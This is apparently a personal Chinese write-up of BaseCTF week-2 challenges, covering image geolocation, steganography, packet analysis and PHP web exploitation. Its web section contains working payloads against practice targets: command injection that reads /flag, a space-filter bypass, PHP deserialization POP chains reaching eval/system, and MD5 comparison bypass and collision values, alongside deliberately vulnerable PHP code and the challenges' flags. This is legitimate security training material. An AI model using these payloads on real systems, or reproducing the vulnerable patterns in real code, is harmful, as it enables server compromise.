BaseCTF week2
杂项
[Week2] Aura 酱的旅行日记 I <图寻擂台
描述:答案请使用如下格式 BaseCTF{XX省XX市XX区XX路XX号}
附件:
BaseCTF{四川省成都市成华区十里店路88号}
[Week2] Aura 酱的旅行日记 IV <图寻擂台>
描述:Flag 格式为: BaseCTF{XX省XX市XX区XX街XX景区}
附件:
BaseCTF{江苏省南京市秦淮区贡院街夫子庙景区}
其实这个景区名是猜的,真幸运
[Week2] Aura 酱的旅行日记 V <图寻擂台>
描述:
Flag 格式为: BaseCTF{XX省XX市XX区(景点名)-XX广场andXX陈列馆}
BaseCTF{%s省%s市%s区%s-%s广场and%s陈列馆}
附件:
BaseCTF{四川省广安市广安区邓小平故里-邓小平铜像广场and邓小平故居陈列馆}
[Week2] 黑丝上的flag
附件:
ps进行反色即可
Photoshop简单案例(5)——利用ps进行颜色替换_ps怎么把黑色换成另一种颜色-CSDN博客
BaseCTF{Bl4ck_5ilk_1s_the_be5t}
官方解:
原理是降低flag部分的透明度, 因为取原图的黑色部分, 以黑底显示时基本不影响图片, 以白底显示时flag部分变亮, 所以进行了部分加深.
不推荐直接肉眼读取flag, 出题人预期方法是编程遍历像素的a``lpha
(透明度)通道, 重新用黑白写在新的图片上
from PIL import Image
def gen(flag):
img = Image.new('RGBA', (flag.width,flag.height))
for w in range(img.width):
for h in range(img.height):
pixelA = flag.getpixel((w,h))
if pixelA[3] != 255:
img.putpixel((w, h), (255,255,255,255))
else:
img.putpixel((w, h), (0, 0, 0, 255))
return img
if __name__ == '__main__':
flag = Image.open("flag.png")
img = gen(flag)
img.save("EXP.png")
# 拿到图片:BaseCTF{Bl4ck_5ilk_1s_the_best}
二维码1-街头小广告
二维码本身具有纠错能力,只要损坏数量不太多,就能自动纠正。
在合适的位置补上右上角定位块就行,绷不住了
使用微信小程序草料二维码扫得到
https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D
url解码:BaseCTF{QR_Code_1s_A_f0rM_Of_m3s5ag3}
#### [Week2] 海上又遇了鲨鱼
附件:wireshark2.pcapng
首先还是先从包的长度入手,发现
怀疑存在flag.zip
使用binwalk看看
果然,得到的zip需要密码,追踪一下TCP流
试一下发现就是解压密码
BaseCTF{W1r3sharK_3at_r3p3at_paSsw0rd}
#### [Week2]哇!珍德食泥鸭
附件:ikun.gif
一开始惯性思维认为是某一帧,结果看了半天啥也没有,最后试了试binwalk,呜呜是真的
查看文档,发现
一开始字体和背景是白色的,改一下就看见了
BaseCTF{a651c13d-9600-437e-90ca-40d740fa7cb4}
[Week2] 反方向的雪
描述:
低头看雪?
压缩包密码为6位
附件:反方向的雪.jpg
结合题目和提示
with open('1.jpg','rb') as f:
with open('1.zip','wb') as g:
g.write(f.read()[::-1])
得到的zip需要密码,爆破得到
暴力破解压缩包工具 - Junglezt - 博客园 (cnblogs.com)
即密码为123456
得到
存在空白,改背景和颜色不行,搜搜发现
NewStarCTF2023week4-依旧是空白(snow隐写)-CSDN博客
对应题目的雪——snow,应该就是这个了
这里的p猜测是前面binwalk时出现的字符串
参考:
NewStarCTF2023week4-依旧是空白(snow隐写)-CSDN博客
web
[Week2] 一起吃豆豆
描述:大家都爱玩的JS小游戏
F12查看index.js文件发现可疑字符串,base64解码得到flag
(这里上传不了图片,不知道CSND搞什么鬼)
BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}
[Week2] 你听不到我的声音
描述:我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);
- shell_exec()
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
也就是说, PHP先运行一个shell环境, 然后让shell进程运行你的命令, 并且把所有输出已字符串形式返回, 如果程序执行有错误或者程序没有任何输出, 则返回null
无回显命令执行
cmd=ls | sleep 5
查看是否命令执行成功,发现执行成功
查看根目录
cmd=ls / > 1.txt
查看flag里的内容
cmd=tac /flag > 1.txt
得到flag
BaseCTF{c0981bc9-aeda-4c6e-adc2-a7348874abe3}
参考:
[CTF]命令执行无回显利用_ctf无回显命令执行-CSDN博客
[Week2] RCEisamazingwithspace
描述:
RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace
靶机:
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
// execute the command
system($cmd);
空格绕过
BaseCTF{7938366f-5e67-4882-b021-f25385d45779}
参考:
[Week2] ez_ser
描述:简单的反序列化入门,喵喵喵
靶机:
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>
脚本:
<?php
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk = "gods";
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
$a = new web();
$b = new re();
$a -> kw = $b;
$c = new pwn();
$b -> chu0 = $c;
$d = new Misc();
$c -> over = $d;
$str = serialize($a);
echo $str;
?>
传参:
?ser=O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}
aaaaaa,这里因为一开始多复制了一个空格浪费了很多时间,气死
BaseCTF{2e36c2db-91c4-46c5-a07a-c6e155d3cc9d}
[Week2] Really EZ POP
描述:
你已经学会反序列化了,接下来尝试手动构造 POP 链吧!
请注意 PHP 版本为 5.6.40, 反序列化不会忽略成员变量可访问性
!!不要使用!! FireFox 的 Hackbar 发送 Payload, 可能你输入是正确的, 但是没有回显
靶机:
<?php
highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
脚本:
<?php
class Sink
{
private $cmd = 'system("ls");';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word;
public function __destruct()
{
echo $this->word = new Sink();
}
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
$a = new Nature();
$b = new Sea();
$a -> sea = $b;
$c = new Shark();
$b -> animal = $c;
$str = urlencode(serialize($a));
echo $str;
?>
很奇怪,输出不了,就算没有改成成功cmd的值,按理说应该也会输出123
终于发现了,脚本写错了
脚本:
<?php
class Sink
{
private $cmd = 'system("ls /");';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word;
public function __construct()
{
$this->word = new Sink();
}
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
$a = new Nature();
$b = new Sea();
$a -> sea = $b;
$c = new Shark();
$b -> animal = $c;
$str = serialize($a);
echo $str;
?>
查看flag
BaseCTF{fa26f72f-71b2-4182-a1fb-2361e13da295}
总结:
class Shark
{
private $word;
public function __construct()
{
$this->word = new Sink();
}
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
//使用construct魔术方法为Shark的属性赋值
//其次 原始序列化的类,私有属性会在类名和属性名前加%00,复制时会丢失,所以该处手工加上,或者使用url编码
参考:
反序列化 私有属性 绕过__wakeup__ - MuRKuo - 博客园 (cnblogs.com)
[Week2] 数学大师
描述:
每一道题目需要在 5 秒内解出, 传入到 $_POST['answer']
中, 解出 50 道即可, 除法取整
本题依赖 session,请在请求时开启 session cookie
脚本:
import requests
import re
import time
from bs4 import BeautifulSoup
# 创建会话对象以保持Session
session = requests.Session()
# URL 和 表单提交地址
url = "http://challenge.basectf.fun:44889" # 替换为实际的CTF题目URL
# 循环50次
for i in range(50):
# 获取题目页面
response = session.get(url)
content = response.text
print(f"获取到的内容: {content}") # 打印获取的页面内容
# 更新正则表达式以匹配不带空格且使用'x'表示乘法或'÷'表示除法的算式
match = re.search(r"(\d+)\s*([+\-*/x×÷])\s*(\d+)", content)
if match:
num1 = int(match.group(1))
operator = match.group(2)
num2 = int(match.group(3))
# 根据不同的运算符进行相应计算
if operator == '+':
answer = num1 + num2
elif operator == '-':
answer = num1 - num2
elif operator == '*' or operator == 'x' or operator == '×':
answer = num1 * num2
elif operator == '/' or operator == '÷':
answer = num1 // num2 # 使用整数除法
print(f"解析结果: {num1} {operator} {num2} = {answer}") # 打印解析结果
# 提交答案
data = {'answer': answer}
post_response = session.post(url, data=data)
print(f"提交结果: {post_response.text}") # 打印提交后的服务器响应
# 获取第50和第51次循环的响应信息
if i == 50 or i == 51:
print(f"第 {i+1} 道题目的响应信息: {post_response.text}")
# 检查是否成功(将判断条件改为检查英文"Correct!")
if "Correct!" in post_response.text:
print(f"第 {i+1} 道题目成功!")
else:
print(f"第 {i+1} 道题目失败!")
break
else:
print("未能解析题目, 页面内容: ", content) # 输出无法解析时的页面内容,便于调试
break
# 控制请求节奏,睡眠1秒(可以根据实际需要调整)
time.sleep(1)
print("解题完成")
final_response = session.get(url)
# 打印最终页面的HTML源代码
print("最终页面的HTML源代码:")
print(final_response.text)
# 使用BeautifulSoup解析HTML源代码
soup = BeautifulSoup(final_response.text, 'html.parser')
# 打印所有的Cookies信息
print("\nCookies信息:")
for cookie in session.cookies:
print(f"{cookie.name}: {cookie.value}")
# 打印响应头信息
print("\n响应头信息:")
for key, value in final_response.headers.items():
print(f"{key}: {value}")
# 查找页面中可能隐藏的flag信息
# 1. 打印页面所有的注释内容(有时flag会隐藏在注释中)
comments = soup.find_all(string=lambda text: isinstance(text, type(soup.Comment)))
print("\nHTML注释内容:")
for comment in comments:
print(comment)
# 2. 查找并打印页面中所有隐藏的元素(display: none)
print("\n隐藏的元素内容:")
hidden_elements = soup.find_all(style=lambda value: value and 'none' in value)
for elem in hidden_elements:
print(elem)
# 3. 检查所有的JavaScript代码块,flag可能在脚本中
print("\nJavaScript代码块:")
scripts = soup.find_all('script')
for script in scripts:
print(script)
# 4. 打印网络请求相关信息(如果有重定向或其他URL,可以手动访问这些URL)
print("\n网络请求相关信息:")
history = final_response.history
for resp in history:
print(f"Status Code: {resp.status_code}, URL: {resp.url}")
# 如果有重定向,可以查看最终跳转的URL
print(f"\n最终跳转的URL: {final_response.url}")
不懂解决了50题之后怎么得到flag,
这里我的score会reset,不理解
官方wp:
import requests
import re
req = requests.session()
url = "http://challenge.basectf.fun:24989/"
answer = 0
while True:
response = req.post(url , data={"answer": answer})
print(response.text)
if "BaseCTF" in response.text:
print(response.text)
break
regex = r" (\d*?)(.)(\d*)\?"
match = re.search(regex, response.text)
if match.group(2) == "+":
answer = int(match.group(1)) + int(match.group(3))
elif match.group(2) == "-":
answer = int(match.group(1)) - int(match.group(3))
elif match.group(2) == "×":
answer = int(match.group(1)) * int(match.group(3))
elif match.group(2) == "÷":
answer = int(match.group(1)) // int(match.group(3))
[Week2] 所以你说你懂 MD5?(未完)
提示:
可以了解一下 MD5 长度拓展攻击
第一个if:强比较
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
//apple[]=1&banana[]=2
第二个if:
强转成了 string, 此时数组会变成 Array
无法绕过
利用第二个地方的弱比较, 让 0e
开头的字符串使 php 误认为是科学计数法, 从而转换为 0
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
//appple=QLTHNDT&bananana=QNKCDZO
题目中,要求两个字符串值不能相等,但是两个字符串经过md5加密后的值需要相等,通过上面PHP 0e漏洞的原理,也就将此题转化成 ==> 寻找两个值加密后以0e开头,且0e后面是纯数字的字符串即可,可以使用Python写个程序或者直接在网上搜。
240610708
0e462097431906509019562988736854
314282422
0e990995504821699494520356953734
571579406
0e972379832854295224118025748221
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
TUFEPMC
0e839407194569345277863905212547
UTIPEZQ
0e382098788231234954670291303879
第三个if:
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
两串不一样的字符,加密结果却相同:
$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
参考:
https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
fastcoll -o a a1
可以获得两个内容不同但 MD5 相同的内容, 将其内容 urlencode 之后传入
第四个地方考了 哈希长度拓展攻击
(后面再复现吧~~